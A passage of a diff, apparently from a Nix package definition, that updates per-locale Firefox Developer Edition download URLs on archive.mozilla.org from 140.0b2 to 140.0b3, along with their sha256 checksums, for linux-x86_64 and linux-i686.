-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/si/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/si/firefox-140.0b3.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "f0165747a086b031eaed9fe6d56a6a664d48cc2cc1fcb4acf4cb2980680bbb18";
+      sha256 = "a44e640322041416b8f74ecf4b775bd83e420d27b42bc7c601a3e8388935106d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sk/firefox-140.0b3.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "3139af3d80de44cabe66907b1ff1a0c9abd6d4dcce7cb8f6a8a4c64cc96d0d6e";
+      sha256 = "05607a7cc2d353b5b2a2dd969fce56a4665d1096b9f1e9210618a071be495a23";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/skr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/skr/firefox-140.0b3.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "4bfd49af3b1a4af17b4830ddad90e3d4742baf9ad3b296ad82c186e46e002c43";
+      sha256 = "26e27c88122c2f5ea3f6ade3c6dcfb8f2c9b24f9a81a5ec5df4b02efb07a1553";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sl/firefox-140.0b3.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "e58e08c08ce875647350c17919a247d1d959e9aa7cf090b9e1f631e3904e1c49";
+      sha256 = "3797ca5f36bda1fa5a44da7dd5dd44d8a139cdedf2a7d29477450a54d0e8a47b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/son/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/son/firefox-140.0b3.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "df8df3a9d363721f5d7284c95e690938a9669bad7d1cbc659318e71807bfef61";
+      sha256 = "d8bcb22d5e108eafb114e8c1ad2b7e00817227a9ad012132a2cdc04628e1fbcb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sq/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sq/firefox-140.0b3.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "78c45ef74932ad3264ceffa6ca2a3d5863642b8febd784016b5dbe4ad515ce3f";
+      sha256 = "331c9cc72370af2514dfa9ad7596cedadcaa868d9536d4946812cdbf4c492d91";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sr/firefox-140.0b3.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "9a3b7e25cd80c19c9ee0ebf2b9cd7fb956969b1a699348859193bb3d138a16f5";
+      sha256 = "f05ef459482485ab76693e9cdec8d5c0a5e97f3185f103801c3041e8719a17bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/sv-SE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/sv-SE/firefox-140.0b3.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "864703a7933ca315ef1dcaf1e978b9fa61035a160cc3017bb6df53d50e42cfe9";
+      sha256 = "c564461b75d461ebd1cec29ef55fb9afbe6477032027e6c42696d7174c5a7508";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/szl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/szl/firefox-140.0b3.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "e63cd0f41501fccf3d6da7779e6926971122b9a40509cb57719ca987417d6231";
+      sha256 = "d54288f9a2da27cb4d384ff8375608ba4fe367c98870cc5ce3f9df910178d8ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ta/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ta/firefox-140.0b3.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "8d45af2c0e6cf88a02c25b7c5fb31dc844bb90ddc8aeec774ad8c700ec12919c";
+      sha256 = "caf68d1283bc14b907b77cc8a25d84188209401ab723f37dcec1a0f05812d140";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/te/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/te/firefox-140.0b3.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "0d0868ec91ad13430488eba13840a0fdb238a355a0b74ede0bd536c6cdc2d013";
+      sha256 = "bf49e26c1082e3413fae86190646f46d66db7d39d93e9a3685812d526e136ff4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/tg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/tg/firefox-140.0b3.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "2112d847a6377c3f4b6fddc2064891f17348a0639a6341833cc6a8681aca2496";
+      sha256 = "970548c941dbee501ccafd78d8634a0e1a542fd9af2bad3ae114bf91d7bea2cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/th/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/th/firefox-140.0b3.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "a49f6e380f2ee83e08b9bce632ac9adc8863eff92f043886e6dff361af0d9fd6";
+      sha256 = "a45a478b45c9843a9132ae8a302a196936ca976f4266da357c3c4577f7235d22";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/tl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/tl/firefox-140.0b3.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "a05dc7b3b86eb5c6c8e8bbd405c356ce6716ff7f57048c502a16dba1dc616778";
+      sha256 = "82f642d104b0c23499d0052caf2266fba054d29f69623d21a6bf8ec8884f8435";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/tr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/tr/firefox-140.0b3.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "be4ff7df882a6bbbb82426868abd07b3bc31328b72faab12c50f44910a04157b";
+      sha256 = "bb413e267dfe2a90ab6ac139cbf277a0a02f937918be3d004cb3231b7148f5d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/trs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/trs/firefox-140.0b3.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "b59cd940914a1dc6034648cb4d2eb98a27db282a63f549670112c005a4fc2c22";
+      sha256 = "aeb33928b53ba8a8a32e147a85588ae49d9bd284dfc14f86976d37def2b6efc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/uk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/uk/firefox-140.0b3.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "cd723b22c8bf8d857e68ba7b7101a42451fd4e0e9216898165194dba6f66600c";
+      sha256 = "ec630f7e731bcc4b4bd8a25cfbf1de8671f2635eedbb5af3a649cdd81c7a07af";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/ur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/ur/firefox-140.0b3.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "23307a580138e4f1e8de9de441c1dfa274b871daa68274510683ce02d1bc4554";
+      sha256 = "44ed4d0fb735987ce4545ef1b5b3b9682580a5380ba11926ebdc6dc37c50eafb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/uz/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/uz/firefox-140.0b3.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "75554e0cb06a1244106e2cab513286d0a48c4b5c5c2645b373e20245d8163d5d";
+      sha256 = "911e95a576aa3263f96772c4902ab20411ec07e958db87a409f3b13f7dfcb938";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/vi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/vi/firefox-140.0b3.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "a502e8408f00db0089081072b813debb97bc5c60e31c632b460cdc3d1f9f3d71";
+      sha256 = "06d4ddff9472adb30394fbd615d6865ca97efed1cbc4df760e2512af606582a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/xh/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/xh/firefox-140.0b3.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "a87cb0aff09dfd91acac6931f5f8ff1bd000533448f8e79950dee7baa29f072b";
+      sha256 = "359c74677ee36bbb05b610c16b9bdef325214d908ab6d3bc8452f48581be354e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/zh-CN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/zh-CN/firefox-140.0b3.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "7616247e8ee73956d925b4a4d4b3ba1b269db286390250ff04ffd066c37e6323";
+      sha256 = "9a4f770e862f9adfccd8894bcd25d528753712f95a4a1d08c2bc02468b199e5b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-x86_64/zh-TW/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-x86_64/zh-TW/firefox-140.0b3.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "1070fc52e45b0827958fc4ebe74f4fd4643738a1d20a9647b37620066cf18896";
+      sha256 = "bbe5ed8be757ba3da19a1f67e41817684dbb0be5494d7bff79da53370c158934";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ach/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ach/firefox-140.0b3.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "15dd9a2a6103f8b4e11d558aa1b5def0119929f304fe330f14fec35452ba88fe";
+      sha256 = "2f5d0939b594d6e1545c729fb154bf48aedc522d5d000489880c746e80d4bedf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/af/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/af/firefox-140.0b3.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "076016952832f1f9923426ccabc14fdce0016572134be4413c323f04929d2b7a";
+      sha256 = "adcf63fd00fe53ee56901a570ba6c8520e844f8e29e3dc3f45e389df1fa075a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/an/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/an/firefox-140.0b3.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "55e43ac6458d7be27db5aeeef0a4e25732555645faba647f379140b5b18f1cca";
+      sha256 = "29c0f898c8e45fe1f1b86e959c0881d0123f4cc3f9c6942fc5e9e776afefca2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ar/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ar/firefox-140.0b3.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "1640b262104f1f637240480cb5d7727aadc003ce320f444fa7446b2345239a8b";
+      sha256 = "70f34c3c1bc6f4151a2b00372b8cbebf7a5a8ac7f671de68e14f13fe6b9c042f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ast/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ast/firefox-140.0b3.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "726dad49420e6f8f6f48b00df01419fa1e25022e1a9034c917732f591d899ab5";
+      sha256 = "1bcb73e4f19995c8404e9bfc3d1463f5fe38da1d0a42cba2cf05d554d0c82c9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/az/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/az/firefox-140.0b3.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "32f38f9452d6bfe9ed0059402286ba86b8e7d49767b84ef68a807009b3928a71";
+      sha256 = "73ce010c00e10e630cfee1935ea038f6938623ae8e705edc2d65b2821d301ef4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/be/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/be/firefox-140.0b3.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "d205be69a64a92dd2dd4938cbe3804e41f9370bd572b0e6bde337feaacc7c80a";
+      sha256 = "3e88c90944e72a6f69a583cfa79637cefe8707f268013d67128b201f7f975082";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/bg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/bg/firefox-140.0b3.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "a6a8a3d4b40853a7bcbcae6c142896b69632720d1cd8ff0ef38944dee718110d";
+      sha256 = "6f3e2829f93ee12e727b6e0bb0819212e06e49f089be627f213dada909d69439";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/bn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/bn/firefox-140.0b3.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "b1ee7cd72876760977922e48ac38cbf55f45bdd191015fd98b72b9169f88c905";
+      sha256 = "8ecc981475148fd74bdcdb50e2beb1718f562087202dc7a940eabefb3aef51ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/br/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/br/firefox-140.0b3.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "df82db0effa2010c5c90fb0795ba63cd8985716d68649d97e15408dc37c6c84e";
+      sha256 = "45979503bb0596668ed7f8946cf0d4cb88518862b538ad97c60795a8c31a0b6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/bs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/bs/firefox-140.0b3.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "87c0752bd5b5a9c2b87c6e538621c2626b4464bd585f906e305e4c5715f97c86";
+      sha256 = "9ecd5a38c385219847134169839e72a61b266fc065f6a9299649fa3afe82942c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ca-valencia/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ca-valencia/firefox-140.0b3.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "632893b5ad32cc730ade803beef2b413b4df144ea80f233e2b24574092a8036c";
+      sha256 = "5def0002175b68518305b15adc03b87dffd3249ee73ae79d384e3a6c68ff7a9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ca/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ca/firefox-140.0b3.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "000cfb032ec853d10c5130b04e88da02998fd57bf70a07844390cbff55f9885f";
+      sha256 = "eaace9c3e8cd44549fcd91a207a1762b426a77eb5d299ccd0f7e619021f382b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/cak/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/cak/firefox-140.0b3.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "009ba5baaa7d454aa9dcfde0b2b4e6940590b6fd6ad7d5a90003ebaf450a93f0";
+      sha256 = "cfbfd5f3372ecc352a55a64844984ad93d2a756bdfcb822f9333f5a739659f31";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/cs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/cs/firefox-140.0b3.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "67ebd37c779ce36133ccac10894ced3faf9d1131a6d0a71a9f35d73bf4bbae36";
+      sha256 = "0b7e0c0bc0f5f679eafcb89f3a22bb153ccf3bec2c439b86ea17ecc23d604528";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/cy/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/cy/firefox-140.0b3.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "baad091e481f7e3c3e7affc3261a22a5a390e3cb739875af53b4fd09f8995ec6";
+      sha256 = "aae377897d7da3520d8f9baf4e318cb45fd40df79139095d7c8afd49396b7d2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/da/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/da/firefox-140.0b3.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "62315dee7ee9cbe3eef1b01359ccfd45ef7348d526fb6adf35077c74178dbacd";
+      sha256 = "644debcd7c8e8317e03ed1ee62ee3c9d83c7d253d4f7e90599004dc41d09e2b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/de/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/de/firefox-140.0b3.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "c32d7e2e8f07db2c92c876f835d506568d5aa5df587742aac5b5b38b1d741224";
+      sha256 = "0f53204b76af95ea05659875470512488e86850adcd8fff704c6c6e328549326";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/dsb/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/dsb/firefox-140.0b3.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "9bfbe5c14cc47de7c04d89fc8d753e8cb07e0722b01e694e40769578ab41f80c";
+      sha256 = "57a567b97d77cc6ba5514731ea0023e6df7024e3fbe7d919237c326158081fb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/el/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/el/firefox-140.0b3.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "b847df7a731151defb9a7195e52e5170f914df02f125474c44e3aa63c676c34a";
+      sha256 = "d113a78e8660fe9372a68567dadf5b7097a5e650764848fac93d50feaf24f8a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/en-CA/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/en-CA/firefox-140.0b3.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "7812b2ddeda5bc1ed121e8512ba2d019edf1596a0ebd5d1a8349613e1745d685";
+      sha256 = "990dda380aad36bcf0b84e9f78579df2bed59f534f2e57d0f6ea065aa652acff";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/en-GB/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/en-GB/firefox-140.0b3.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "5b7e6a78a8d98b36cf640282e2aec5b34d9d54dc1c244d45e043de18be59ede4";
+      sha256 = "a616cdf4a9363eac7349d90a3a1eb4a488f6114997073dee901c1d5804418cc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/en-US/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/en-US/firefox-140.0b3.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "60ca80fc4bdfbabe6810ba4ffb1b49eb02147fb05134a3c3eb19cbb2d7ef5ff3";
+      sha256 = "8fc9253f882b22e0ba78979b0540998bf042239a5a34ab7e574529d3f057c607";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/eo/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/eo/firefox-140.0b3.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "61947e8887d2f0010de1b1cdd1df5ece9dcf4f9abaa17c76deb48b47a14ef79b";
+      sha256 = "0f685452bdfcc638f70c363a5461aa46dfac06f5f4e42cd8c4f1c74b72c1a696";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-AR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-AR/firefox-140.0b3.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "8c0c291f1150c6cc45180dce4d94540c947791aaee2172e2f37b57b002aa1784";
+      sha256 = "41bcd6cbcb68a993ced21131e1f7a4642f8625fed0c58109f420bbbff64d852a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-CL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-CL/firefox-140.0b3.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "aa1444a6092cb96637ef7dc9c44506702cb96eaf633a39302673d040f0b2a9ac";
+      sha256 = "af25ac96f6c46a25745d832863b556ce634dbb8f77c40ddc9d3afd005ea28b49";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-ES/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-ES/firefox-140.0b3.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "0442ff731adeae06a0ea178098ef17c1d0aca3f34ab854a7807c56d2b1ace7d5";
+      sha256 = "d0201178c6f4b96cc311d142488c0ac4b19d72733249a3656cb3b174ff959a98";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/es-MX/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-MX/firefox-140.0b3.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "b260521cef1779ccd7d6b1cbfe66ac2d5cd8ee72f282b6e81110ea40995e9b30";
+      sha256 = "3fb7c4a44ef36efb56ca313f3bd10a0464bd08428cb6d1a709c0cdf558ae07cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/et/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/et/firefox-140.0b3.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "f7b752e18302aeab61df546a0423fbdc297d538c35b2038e6e9dd3f0432d55fe";
+      sha256 = "93961bbdecfd176f097095ba7703fb9ef3cec8d604dd9a012ba4c1bb07e841fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/eu/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/eu/firefox-140.0b3.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "e0d403ce1c3fb69e692c0679c7ed65464bd28cdfcb107756bcf66b03bb20f15a";
+      sha256 = "4617edf681e734a814dbbf668092e0a427862dba8fa7bbcfcc6c8b6869ea0bd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fa/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fa/firefox-140.0b3.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "75eefefa501b4e46f84672aacd3d8e5c96f4bbee41dd652436624de5bbd837e4";
+      sha256 = "a579ae841de8e29069ba0edc59efbe6430ffd8f13dea1d69ab1592affd9bc871";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ff/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ff/firefox-140.0b3.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "197ccaeb27559a1dd913969a3a8dd011555c8125fcbb55a28caf4a6074b963b5";
+      sha256 = "bc4c4b4f4e01ea125d4141de08c2aa7716b87bdb41566c023dd0e3686dee88cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fi/firefox-140.0b3.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "61ac2a275d6410f7eb8cc4f9bfd70e1e5e56fd63eaac9447a56f15920221be7e";
+      sha256 = "26b27149b6d4a5960e3d59575e7ca1ed6cbd91dc67c818b7b83fceea42c21dac";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fr/firefox-140.0b3.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "9322f072928c09b3d45e9e683ef26480f404def390315f46eaad3aa76c5db4a5";
+      sha256 = "477523d6453d808db5d378b62f33c0417ff3595b942945dcec1686942c1aa87f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fur/firefox-140.0b3.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "4ca712790eb5a98804b6b21e68cf1d875f9dccd5bd729a7f1231cd3d7b4c85a0";
+      sha256 = "3a720b45d5411dc9f83143ec80c70909b013acbb6165fc072887edef1de33705";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/fy-NL/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fy-NL/firefox-140.0b3.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "3ca2c4a2ef1de935d5a3ec0f29314596ef64611fb9025efbee2e809b8bf51da2";
+      sha256 = "7436081cc81d5b0e54560404d8e4c0bdbd5ab91456aba97b8841f29c02608f9c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-i686/ga-IE/firefox-140.0b2.tar.xz";
